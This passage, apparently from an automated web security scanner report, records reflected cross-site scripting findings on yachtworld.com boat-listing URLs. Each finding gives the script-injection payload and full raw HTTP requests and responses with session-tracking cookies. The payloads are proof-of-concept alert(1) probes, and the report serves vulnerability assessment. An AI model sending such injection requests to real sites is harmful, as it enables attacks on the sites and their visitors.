VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3177b"><script>alert(1)</script>c02fddab7e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2272100/Hampton/VA/United-States3177b"><script>alert(1)</script>c02fddab7e HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:05:11 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 18 Nov 2010 20:30:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:05:11 GMT Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.168. http://www.yachtworld.com/boats/2008/Regulator-32-Fs-2272100/Hampton/VA/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5500"><script>alert(1)</script>7542b1e6f36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Fs-2272100/Hampton/VA/United-States?e5500"><script>alert(1)</script>7542b1e6f36=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:18 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 18 Nov 2010 20:30:49 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:18 GMT Set-Cookie: VIEWED_BOATS_STORE=2272100%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B169%2C000%5B%25%5DHampton%2C+VA%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F7%2F2%2F1%2F2272100_1_mini.jpg%3F1286375575000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-FS-2272100%2FHampton%2FVA%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60999"><script>alert(1)</script>48b0e3c5dc6 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2009/Regulator-32-Fs-2300541/Sardegna-centro-orientale60999"><script>alert(1)</script>48b0e3c5dc6/Italy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:55 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 12 Jan 2011 13:33:54 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2300541%5B%25%5D32%27+Regulator+32+FS%5B%25%5DEUR%26nbsp%3B180%2C000%5B%25%5DSardegna+centro+orientale%2C+Italy%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F0%2F5%2F2300541_1_mini.jpg%3F1294838885000%5B%25%5D%2Fboats%2F2009%2FRegulator-32-FS-2300541%2FSardegna-centro-orientale%2FItaly%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2F